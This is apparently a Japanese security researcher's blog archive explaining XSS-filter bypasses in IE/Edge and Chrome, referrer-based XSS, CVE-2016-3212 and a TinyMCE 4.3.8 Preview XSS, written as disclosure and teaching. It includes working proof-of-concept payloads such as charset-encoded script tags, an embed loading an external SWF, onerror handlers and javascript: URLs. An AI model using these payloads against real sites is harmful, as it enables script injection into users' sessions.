ラベル Edge の投稿を表示しています。 すべての投稿を表示
ラベル Edge の投稿を表示しています。 すべての投稿を表示

2017/05/22

ブラウザのXSS保護機能をバイパスする(14)

前回、XSSAuditorのバイパスのチートシートを作ったという記事を書きましたが、さきほど、IE/EdgeのXSSフィルターのバイパスも公開しました。

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC

この公開に合わせて、今日は強力なIE/EdgeのXSSフィルターのバイパスを1つ紹介しようと思います。

このバイパスはPOST経由以外の全てのReflected XSSで使えます。1年以上前に以下のようなツイートをしましたが、今から紹介するのがこのとき発見したベクターです。
ツイートした時点ではPOSTで使えないことに気付いていなかったので、all contextsは言い過ぎでしたが、いずれにしても強力なベクターだと思います。

まずはPoCからみてみましょう!普通にテキスト部でXSSする場合と、属性だけが記述できるケースのXSSで例を示します。IE/Edgeでアクセスすると、スクリプトが動作することを確認できるはずです。

https://l0.cm/bypass/ie_hz_text.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=<script/警/-alert(1)<\/script/警"
</script>

属性値のみでXSSする場合はこちら:
https://l0.cm/bypass/ie_hz_attribute.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/attribute?q=\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4/-alert(1)//"
</script>
なぜ動作したかは、IEがどんなクエリ文字列を送信しているかに注目するとみえてきます。

IEはナビゲーション時、ナビゲーション前のページに設定された文字コードでクエリ文字列をエンコードしてリクエストを送信します。
例えば、次のようなページから、「あ」という文字列を送信しようとするとき、「あ」はHZ-GB-2312というエンコーディングでエンコードされて送信されます。

https://l0.cm/bypass/ie_hz_example.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=あa";
</script>
Fiddlerを見ても、以下のように、UTF-8の「あ」(0xE38182) でなく、HZ-GB-2312の「あ」である~{$"~}が送信されていることがわかります。


この動作を踏まえて、バイパスが起きたケースをもう一度見てみましょう。テキスト部のバイパスでは、<script/警/-alert(1)</script/警という文字列をリダイレクト先に与えています。「警」の字はHZ-GB-2312において、~{>/~}で表されます。したがって、ここでは<script/~{>/~}/-alert(1)</script/~{>/という文字列がクエリを介して送信されており、実際にはスクリプトタグを作成するようなバイト列が送信されていたということがわかります。

XSSフィルターは普通なら<sc{r}ipt.*?>という遮断条件に従ってスクリプトタグに反応しますが、ここではなぜか反応しません。これはおそらく、XSSフィルターが、実際に送信されるリクエストではなく、<script/警という文字列を遮断条件と誤って照らし合わせているためではないかと思います。

属性の場合も同様に、\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4に反応文字列である"onmouseover=を隠しています。このように、実際に送信されるリクエストと、エンコードされた文字列の不一致を起こすことで、XSSフィルターをバイパスすることができます!

その他のエンコーディングでも、同じように不一致を起こせばバイパスが可能です。

ISO-2022-JPを使った例がこちら:
https://l0.cm/bypass/ie_iso2022jp_text.html
https://l0.cm/bypass/ie_iso2022jp_attribute.html

x-chinese-cnsという文字コードを使った例がこちら:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

他にもいろいろな文字コードのバリエーションが考えられるんではないかと思います。

このバイパスの発見当時は、バイパスはただのバグだとしても、特別な条件もなしに様々なコンテキストで使えるこれは修正を待ってから公開しようと考えていましたが、報告後、1年以上経っても変更が加えられなかったあたり、Microsoftはバイパスをそれほど問題にはしていないみたいです。いずれにしても、XSSフィルターはXSSに対する完全な防御ではなく、サイト側の根本的なXSS対策は必須であるということは常に変わりません。実際のバイパスを通して、その思いを強めてもらえれば。それでは!

2017/05/07

Browser's XSS Filter Bypass Cheat Sheet

ブラウザのXSSフィルターのバイパスをまとめたページを作りました。

こちらです:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。

このページを作った理由は、Shibuya.XSS techtalk #9 というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な西村さんが、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。

脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。

もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。

中でも同一ドメインのリソースを使ってバイパスする手法は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。

簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。

それでは、どうぞご利用ください。

2016/12/01

ブラウザのXSS保護機能をバイパスする(9)

脆弱性"&'<<>\ Advent Calendar 2016 の1日目の記事です!

毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。

Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ \t]+?:)?a.*?hr{e}f}

{<([^ \t]+?:)?OPTION[ /+\t].*?va{l}ue[ /+\t]*=}

{<([^ \t]+?:)?TEXTA{R}EA[ /+\t>]}

{<([^ \t]+?:)?BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}

[...]
このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。

https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。

ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?

おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。script src=の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=が動作してしまうという寸法です。

なお、遮断自体は行ったことになるため、X-XSS-Protection:1;mode=blockのページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。

以上、ご活用ください!
脆弱性"&'<<>\ Advent Calendar 2016 、明日は @kusano_k さんです!

2016/10/07

Anniversary Update後のReferrerを使ったXSS

English version is here: http://mksben.l0.cm/2016/10/xss-via-referrer.html

今日はXSSのテクニックを紹介する簡単なポストです!

Windows 10のAnniversary UpdateからIE/Edgeの細かい動作が変わっているようです。
XSSと関係の深い動作もいくつか変更されています。その中の1つに、リファラ文字列に含まれる一部の文字が常にエンコードされるようになった動作があります。以下に具体的に示します。

次のような、リファラ文字列を書き出すページがあるとします。

https://vulnerabledoma.in/xss_referrer

以前までのIE/Edgeでは、過去のブログでも取り上げたように、次のようにスクリプト文字列を含んだURLからのリファラを送信することで、XSSが可能でした。

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

ところがAnniversary Updateを適用したEdgeやIEで確認すると、"<>といったXSSのカギとなる文字列が次のようにエンコードされてしまいます。
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
このせいで、単純に書き出すようなケースでXSSができなくなってしまいました。

今のところ、現役のWindows 8.1や7のIE11はリファラ文字列をエンコードしないので、XSSが可能なことの証明には困らないのですが、やっぱりWin10でもリファラでXSSしたいですよね!

今日は、そんな人達に朗報です。
Win10でリファラ経由でXSSする方法を発見したので、ご紹介したいと思います。

説明は一言で終わります。FlashのnavigateToURL()を使ってナビゲーションすればまだRefererヘッダに"<>がエンコードされずに入ってくれます。

以下にPoCを置きました。Anniversary Update適用済みのWin10のIE/Edgeでアクセスしてみてください。

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

ActionScriptのソースコードはこんなかんじです:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
  var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
  navigateToURL(url, "_self");
  }
 }
}
ただ、残念ながら、アクセスしてわかる通り、この方法でうまくいくのは Refererリクエストヘッダを書き出す場合のみで、JavaScriptのdocument.referrerプロパティはFlash経由のナビゲーションの場合はなぜか空になってしまうようです。残念。

ちなみに、Adobe Readerの submitForm() というJavaScript API経由でもRefererリクエストヘッダにタグ文字を含めることができました。
以下にPoCがあります。Adobe ReaderプラグインがインストールされたWin10のIE11で動作を確認済みです。

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

どうも、プラグイン経由のリクエストが考慮されていないみたいですね。


以上、Anniversary Update以後でも使えるReferrer文字列のXSS手法の紹介でした!
今月はもう1つか2つブログを書くつもりです。

2016/07/15

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.を#に置換させることで、<script>のsrc値や<link>のhref値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.が^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.が^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.が^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.が#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;がa^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

2016/04/16

TinyMCE 4.3.9で修正されたXSS

2月頃、リッチテキストエディタの TinyMCE のXSS脆弱性を報告しました。
特にセキュリティの修正をしたといったアナウンスはありませんが、数日前に公開された4.3.9でこの問題が修正されています。Twitterのプロフィールにも、「World's #1 most popular open source #WYSIWYG editor」 とあるくらい、世界的にも非常によく使われているリッチテキストエディタのようですので、更新を促すためにこの記事を書きます。

XSS脆弱性は 4.3.8 以下のバージョンにあります。
僕の知る限りでは、TinyMCEのPreview Plugin機能を使っていなければ影響を受けません。
この機能を呼び出さないようにするか、4.3.9以上に更新してください。

これ以下は、技術的な説明になります。この脆弱性の発生原因は、技術的にも少し面白いです。

発火する場所は、エスケープしていない文字列をdocument.write()しているだけなんですが、入り込む原因が特殊です。

ここで脆弱なHTMLを組立てて、
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L31
headHtml += '<base href="' + editor.documentBaseURI.getURI() + '">';
ここでwrite()して発火しています。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L82
doc.write(previewHtml);
書き出されるURLは以下のdocumentBaseURL変数から設定されます。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/classes/EditorManager.js#L164-174
documentBaseURL = document.location.href;
// Check if the URL is a document based format like: http://site/dir/file and file:///
// leave other formats like applewebdata://... intact
if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(documentBaseURL)) {
documentBaseURL += '/';
}
}
location.hrefからURL文字列を受け取り、replace()の部分の正規表現で必要な文字列だけを切り取っています。その結果、返ってくることを期待している文字列は、少なくともパス部までの文字列です。例えば「https://example.com/AAA/BBB/CCC?DDD#EEE」というURL文字列からは、「https://example.com/AAA/BBB/」が返ってきます。以下でテストできます。

https://jsfiddle.net/nsuqthb5/
<script>
baseUrl="https://example.com/AAA/BBB/CCC?DDD#EEE";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
この、期待した文字列ですら、 document.write('<base href="'+ baseUrl +'">')とかって書き出そうとすることは危ういのですが、モダンなブラウザでは、location.hrefプロパティで取得されるパス部の"は%22にエンコードされるので、控えめに言えばギリギリセーフです。(Safari 5.xとかだとアウトです。)
古いブラウザで脆弱になることは受け入れるとしても、この正規表現の切り取り方では、モダンなブラウザでも期待しない文字列を呼び込んでしまいます。次のようなURLが与えられた場合です。

https://jsfiddle.net/c2L6guLf/
<script>
baseUrl="https://example.com/xxx#\u2028\"><[XSS_CODE_HERE]>/";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
今度は、#以降の、XSS_CODE_HEREまで含んだURLがアラートされるはずです。
ポイントは黄色でマークした \u2028の部分です。U+2028/U+2029は JS中で改行と同じ扱いになるという話を以前ブログで取り上げましたが、この扱いが今回の正規表現と絡んできます。replace(/[\?#].*$/, '')は、URL文字列の最後まで、改行が含まれないことを前提として、?か#以降の文字列を全て取り除こうとします。ところが、U+2028が?か#以降に入ってくると、U+2028が.にマッチしないため、この正規表現による削除が行われなくなってしまうのです。その場合、返ってくる文字列は何も置換が行われていないlocation.hrefそのものになってしまいます。

実際にXSSを再現させてみます。
baseタグは、エディタの内容をPreviewする機能を実行した時に作成されます。
以下にIE/Edgeでアクセスし、View →Preview とボタンを押してみてください。

http://vulnerabledoma.in/tinymce/xss_preview_4.3.8.html#"><img src=x onerror=alert(document.domain)>
/

うまくいけば以下のようにみえるはずです。



なぜ、IE/Edge限定なのかというと、FirefoxやSafariはURL中のU+2028文字をエンコードしてしまうため、正規表現を騙すことができないからです。また、Chromeはbaseタグから抜けて、スクリプトの実行も可能なのですが、IE/Edge以外はallow-scriptsによりスクリプトの実行だけが許可されたsandbox属性付きのiframeの中でプレビューを表示するようになっているため、少なくともTinyMCEを設置したオリジンでのスクリプト実行には繋がらないようになっています。以下の箇所でIE/Edgeとそれ以外で表示方法を変えているのがわかります。

https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L76-86

よって、Chromeの場合では、厳密には影響がないとは言えないものの、実行されるコンテキストがサンドボックス内のため、プレビューの偽装かプレビューした情報の奪取程度の限定的なものになります。

修正は以下の部分で行われました。
https://github.com/tinymce/tinymce/commit/1483e4fd47ab58b5fc1015f82253c90caaeedc44
if (loc.protocol.indexOf('http') !== 0 && loc.protocol !== 'file:') {
baseUrl = loc.href;
} else {
baseUrl = loc.protocol + '//' + loc.host + loc.pathname;
}

location.protocolにhttpという文字列を含まない、かつ、file:でない場合のみ、location.hrefをそのまま使い、それ以外は、location.protocol とlocation.hostとlocation.pathnameを連結したものを使うようになりました。心許ないかんじがしますが、少なくとも僕にはこれを破ってXSSすることができなかったので、とりあえず、問題なさそうと伝えました。(もっとも、Safari 5.x などではエンコードされていない"をlocation.pathnameに含むことができるので、相変わらず脆弱です。)

以上、U+2028/2029で起きる問題でした。U+2028/2029が絡んだ問題はまれにみますが、わかりにくいので、まだまだ潜んでいそうです。

最後に言いたいのですが、特に、利用者が更新する必要のあるアプリケーションを提供する人は、脆弱性があったということを絶対に告知すべきです。そうしないと、利用者が更新の必要性に気付けず、脆弱なバージョンを使い続けることになってしまいます。セキュリティの修正がある場合は、提供者側で可能な限り大きな声で更新を促すようにしてほしいと思います。